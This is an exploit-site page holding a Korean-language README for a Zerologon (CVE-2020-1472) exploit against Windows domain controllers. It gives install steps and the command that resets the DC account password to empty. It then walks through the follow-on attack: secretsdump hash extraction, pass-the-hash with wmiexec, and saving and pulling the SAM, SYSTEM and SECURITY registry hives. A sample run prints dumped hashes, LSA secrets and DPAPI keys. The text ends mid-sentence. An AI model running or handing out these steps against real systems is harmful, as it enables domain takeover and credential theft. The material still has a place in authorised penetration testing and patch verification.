Sploitus

Exploit for CVE-2020-1472

kitploit ยท 2026-08-25

Exploit Code

MARKDOWN148 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-VOIDSEC-CVE-2020-1472
# CVE-2020-1472

CVE-2020-1472์šฉ ์ฒด์ปค ๋ฐ ์ต์Šคํ”Œ๋กœ์ž‡ ์ฝ”๋“œ, ์ผ๋ช… **Zerologon**

๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ๊ฐ€ Zerologon ๊ณต๊ฒฉ์— ์ทจ์•ฝํ•œ์ง€ ํ…Œ์ŠคํŠธํ•˜๋ฉฐ, ์ทจ์•ฝํ•œ ๊ฒฝ์šฐ ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ์˜ ๊ณ„์ • ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋นˆ ๋ฌธ์ž์—ด๋กœ ์žฌ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค.

**์ฐธ๊ณ :** ํ”„๋กœ๋•์…˜ ํ™˜๊ฒฝ์—์„œ ๋ฌธ์ œ๋ฅผ ์ผ์œผํ‚ฌ ๊ฐ€๋Šฅ์„ฑ์ด ๋†’์Šต๋‹ˆ๋‹ค (์˜ˆ: DNS ๊ธฐ๋Šฅ, ๋ณต์ œ ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ์™€์˜ ํ†ต์‹  ๋“ฑ). ๋Œ€์ƒ ํด๋ผ์ด์–ธํŠธ๋Š” ๋” ์ด์ƒ ๋„๋ฉ”์ธ์— ์ธ์ฆํ•  ์ˆ˜ ์—†๊ฒŒ ๋˜๋ฉฐ, ์ˆ˜๋™ ์ž‘์—…์„ ํ†ตํ•ด์„œ๋งŒ ๋‹ค์‹œ ๋™๊ธฐํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Zerologon ๊ณต๊ฒฉ์ด ์–ด๋–ป๊ฒŒ ๋ฌธ์ œ๋ฅผ ์ผ์œผํ‚ค๋Š”์ง€ ๋” ์•Œ๊ณ  ์‹ถ๋‹ค๋ฉด, @_dirkjan์˜ ํ›Œ๋ฅญํ•œ ์ž‘์—… ๋•๋ถ„์— **์—ฌ๊ธฐ**์—์„œ ์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Secura (Tom Tervoort)์˜ Zerologon ์›๋ณธ ์—ฐ๊ตฌ ๋ฐ ๋ฐฑ์„œ - https://www.secura.com/blog/zero-logon

![asciicast](https://asciinema.org/a/359833.svg)

# ์ต์Šคํ”Œ๋กœ์ž‡

Netlogon ์ธ์ฆ ์šฐํšŒ๋ฅผ ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค. ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ๊ฐ€ ํŒจ์น˜๋œ ๊ฒฝ์šฐ, ํƒ์ง€ ์Šคํฌ๋ฆฝํŠธ๋Š” 2000์Œ์˜ RPC ํ˜ธ์ถœ์„ ๋ณด๋‚ธ ํ›„ ํฌ๊ธฐํ•˜๋ฉฐ ๋Œ€์ƒ์ด ์ทจ์•ฝํ•˜์ง€ ์•Š๋‹ค๊ณ  ๊ฒฐ๋ก ๋‚ด๋ฆฝ๋‹ˆ๋‹ค (์˜คํƒ์ง€ ํ™•๋ฅ  0.04%).

์ต์Šคํ”Œ๋กœ์ž‡์€ ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ๊ฐ€ ๋กœ์ปฌ์— ์ €์žฅ๋œ ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ์•„๋‹ˆ๋ผ Active Directory์— ์ €์žฅ๋œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋กœ๊ทธ์ธ ์‹œ๋„๋ฅผ ๊ฒ€์ฆํ•  ๋•Œ๋งŒ ์„ฑ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์ด ๋ฐฉ์‹์œผ๋กœ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋ณ€๊ฒฝํ•˜๋ฉด AD์—์„œ๋งŒ ๋ณ€๊ฒฝ๋˜๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ๋Œ€์ƒ ์‹œ์Šคํ…œ ์ž์ฒด๋Š” ์—ฌ์ „ํžˆ ์›๋ž˜ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋กœ์ปฌ์— ์ €์žฅํ•ฉ๋‹ˆ๋‹ค.

## ์„ค์น˜

Python 3.7 ์ด์ƒ, virtualenv, pip ๋ฐ ~~์ˆ˜์ •๋œ Impacket ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ (nrpc.py, /impacket/dcerpc/v5)~~ ์ถ”๊ฐ€๋œ netlogon ๊ตฌ์กฐ๋ฅผ ํฌํ•จํ•œ ์ตœ์‹  ๋ฒ„์ „์˜ impacket(GitHub์—์„œ ์ œ๊ณต)์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

### 1\. ๋‹ค์Œ๊ณผ ๊ฐ™์ด Impacket์„ ์„ค์น˜ํ•ฉ๋‹ˆ๋‹ค:

  1. `git clone https://github.com/SecureAuthCorp/impacket`
  2. `cd impacket`
  3. root@kitploit:~
         
         pwd 
         ~/impacket/
         

  4. `virtualenv --python=python3 impacket`
  5. `source impacket/bin/activate`
  6. `pip install --upgrade pip`
  7. `pip install .`



### 2\. ๋‹ค์Œ๊ณผ ๊ฐ™์ด Zerologon ์ต์Šคํ”Œ๋กœ์ž‡ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์„ค์น˜ํ•ฉ๋‹ˆ๋‹ค:

  1. root@kitploit:~
         
         ~/impacket/
         

  2. `cd examples`
  3. `git clone https://github.com/VoidSec/CVE-2020-1472`
  4. `cd CVE-2020-1472`
  5. `pip install -r requirements.txt`



## ์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰

์ด ์Šคํฌ๋ฆฝํŠธ๋Š” DC ๋˜๋Š” ๋ฐฑ์—… DC๋ฅผ ๋Œ€์ƒ์œผ๋กœ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ฝ๊ธฐ ์ „์šฉ DC์—์„œ๋„ ์ž‘๋™ํ•  ๊ฐ€๋Šฅ์„ฑ์ด ์žˆ์ง€๋งŒ, ์•„์ง ํ…Œ์ŠคํŠธ๋˜์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹ค. DC ์ด๋ฆ„์€ NetBIOS ์ปดํ“จํ„ฐ ์ด๋ฆ„์ด์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด ์ด๋ฆ„์ด ์˜ฌ๋ฐ”๋ฅด์ง€ ์•Š์œผ๋ฉด ์Šคํฌ๋ฆฝํŠธ๊ฐ€ `STATUS_INVALID_COMPUTER_NAME` ์˜ค๋ฅ˜์™€ ํ•จ๊ป˜ ์‹คํŒจํ•  ๊ฐ€๋Šฅ์„ฑ์ด ๋†’์Šต๋‹ˆ๋‹ค. `EXAMPLE-DC`๋ผ๋Š” ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ์™€ IP ์ฃผ์†Œ `1.2.3.4`๊ฐ€ ์ฃผ์–ด์กŒ์„ ๋•Œ, ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค:

  * `./cve-2020-1472-exploit.py -n EXAMPLE-DC -t 1.2.3.4`



์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•˜๋ฉด ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ์˜ ๊ณ„์ • ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ๋นˆ ๋ฌธ์ž์—ด๋กœ ์žฌ์„ค์ •๋ฉ๋‹ˆ๋‹ค.

์ด ์‹œ์ ์—์„œ Impacket์˜ `secretsdump.py -no-pass -just-dc Domain/'DC_NETBIOS_NAME$'@DC_IP_ADDR` (๋˜๋Š” ๋นˆ ํ•ด์‹œ: `-hashes :31d6cfe0d16ae931b73c59d7e0c089c0` ์‚ฌ์šฉ ๊ฐ€๋Šฅ)๋ฅผ ์‹คํ–‰ํ•˜์—ฌ NTDS.DIT ๋ฐ์ดํ„ฐ(NTLM ํ•ด์‹œ ๋ฐ Kerberos ํ‚ค)๋งŒ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ทธ๋Ÿฌ๋ฉด ๋„๋ฉ”์ธ ๊ด€๋ฆฌ์ž ๊ถŒํ•œ์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. **WIN WIN WIN**

### ์‹คํ–‰ ์˜ˆ์ œ

root@kitploit:~
    
    
    > cve-2020-1472-exploit.py -n WIN-U4Q9LLP6L2A -t 192.168.209.129
    [+] Success: Zerologon Exploit completed! DC's account password has been set to an empty string.
    
    > secretsdump.py -no-pass -just-dc ad.test.com/WIN-U4Q9LLP6L2A\some-email@example.com
    Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
    
    Restore:
    > wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe ad.test.com/some-email@example.com
    - reg save HKLM\SYSTEM system.save
    - reg save HKLM\SAM sam.save
    - reg save HKLM\SECURITY security.save
    - get system.save
    - get sam.save
    - get security.save
    - del /f system.save
    - del /f sam.save
    - del /f security.save
    
    > secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
    [*] Target system bootKey: 0x31f99ee2e750274d1fee930ab88fe126
    [*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
    Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    [-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
    [*] Dumping cached domain logon information (domain/username:hash)
    [*] Dumping LSA Secrets
    [*] $MACHINE.ACC 
    $MACHINE.ACC:plain_password_hex:ef464f4194d9f401af41c9982dc7c85524cc9ed8adef4fe24c8044d13f1ae41c594131d2d46cab3a0d3384cda94baae65d5a87d26df1201ff6ff1697672ac4e16c16f0e514f6e54d84342c5af4193fe96329e3a30fb84c08845e7a86dac4295276c7c2e3181555fa5eef21d4d1f469550f4706383327b299283f72b7df6b661cfb11189bd8b3ab552ffb99aa12ffe19b760e00e143ef3e776d8377da57925c5ed71aa9f0991acff7fc9c963addb8496fdd273f231e15a51d99f41a770de714573b26795c45a03eac80e3bb45ac5c100740da5814c3979e5349e8471623086c80f6160163f4bd56da3b75a6deb17b1020
    $MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:9b5ccb9700e3ed723df08132357ff6a1
    [*] DPAPI_SYSTEM 
    dpapi_machinekey:0xaf83406b2611f18ac99329079e9f47d9409e885f
    dpapi_userkey:0x53ed555f11c110f918fc9a97a6c3576266930fb7
    [*] NL$KM 
     0000   55 A7 DF DF 27 E2 64 C1  F7 42 F2 1B 96 76 01 4F   U...'.d..B...v.O
     0010   24 4C 5D 9B 20 E3 EA 95  DD E9 61 0F 00 8E B2 51   $L]. .....a....Q
     0020   B1 79 3F E0 37 3E CB B2  95 31 A6 74 F3 35 54 8A   .y?.7>...1.t.5T.
     0030   C1 B6 70 3D B3 AB AC C1  7E 8E 90 7A 7B 49 32 46   ..p=....~..z{I2F
    NL$KM:55a7dfdf27e264c1f742f21b9676014f244c5d9b20e3ea95dde9610f008eb251b1793fe0373ecbb29531a674f335548ac1b6703db3abacc17e8e907a7b493246
    [*] Cleaning up... 
    
    > reinstall_original_pw.py WIN-U4Q9LLP6L2A 192.168.209.129 ef464f4194d9f401af41c9982dc7c85524cc9ed8adef4fe24c8044d13f1ae41c594131d2d46cab3a0d3384cda94baae65d5a87d26df1201ff6ff1697672ac4e16c16f0e514f6e54d84342c5af4193fe96329e3a30fb84c08845e7a86dac4295276c7c2e3181555fa5eef21d4d1f469550f4706383327b299283f72b7df6b661cfb11189bd8b3ab552ffb99aa12ffe19b760e00e143ef3e776d8377da57925c5ed71aa9f0991acff7fc9c963addb8496fdd273f231e15a51d99f41a770de714573b26795c45a03eac80e3bb45ac5c100740da5814c3979e5349e8471623086c80f6160163f4bd56da3b75a6deb17b1020
    

## ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ณต์›

**DC๊ฐ€ ์ •์ƒ์ ์œผ๋กœ ์ž‘๋™ํ•˜๋ ค๋ฉด ์›๋ž˜ ๋น„๋ฐ€๋ฒˆํ˜ธ ํ•ด์‹œ๋ฅผ ๋‹ค์‹œ ์„ค์น˜ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.**

๋„๋ฉ”์ธ ๊ด€๋ฆฌ์ž ๊ถŒํ•œ์„ ํš๋“ํ•œ ํ›„, secretsdump์—์„œ ์–ป์€ ์ž๊ฒฉ ์ฆ๋ช…์„ ์‚ฌ์šฉํ•˜์—ฌ ๋Œ€์ƒ DC์— `wmiexec.py`๋กœ ์ ‘์†ํ•œ ํ›„ ๋‹ค์Œ ๋‹จ๊ณ„๋ฅผ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค:

root@kitploit:~
    
    
    reg save HKLM\SYSTEM system.save
    reg save HKLM\SAM sam.save
    reg save HKLM\SECURITY security.save
    get system.save
    get sam.save
    get security.save
    del /f system.save
    del /f sam.save
    del /f security.save
    

์‹คํ–‰: `secretsdump.py -sam sam.save -system system.save -security security.save LOCAL`

๊ทธ๋Ÿฌ๋ฉด ๋จธ์‹  ๊ณ„์ •์˜ ์›๋ž˜ NT ํ•ด์‹œ๊ฐ€ ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๋‹ค์Œ ์—ฌ๊ธฐ์—์„œ ์ œ๊ณตํ•˜๋Š” `reinstall_original_pw.py` ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ•ด๋‹น ์›๋ž˜ ๋จธ์‹  ๊ณ„์ • ํ•ด์‹œ๋ฅผ ๋„๋ฉ”์ธ์— ๋‹ค์‹œ ์„ค์น˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์„ฑ๊ณตํ•˜๋ ค๋ฉด ์—ฌ๋Ÿฌ ๋ฒˆ ์‹คํ–‰ํ•ด์•ผ ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค.

root@kitploit:~
    
    
    reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR ORIG_NT_HASH
    

๋˜๋Š” ๋‹ค์Œ ๋ณต์› ๊ณผ์ •์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.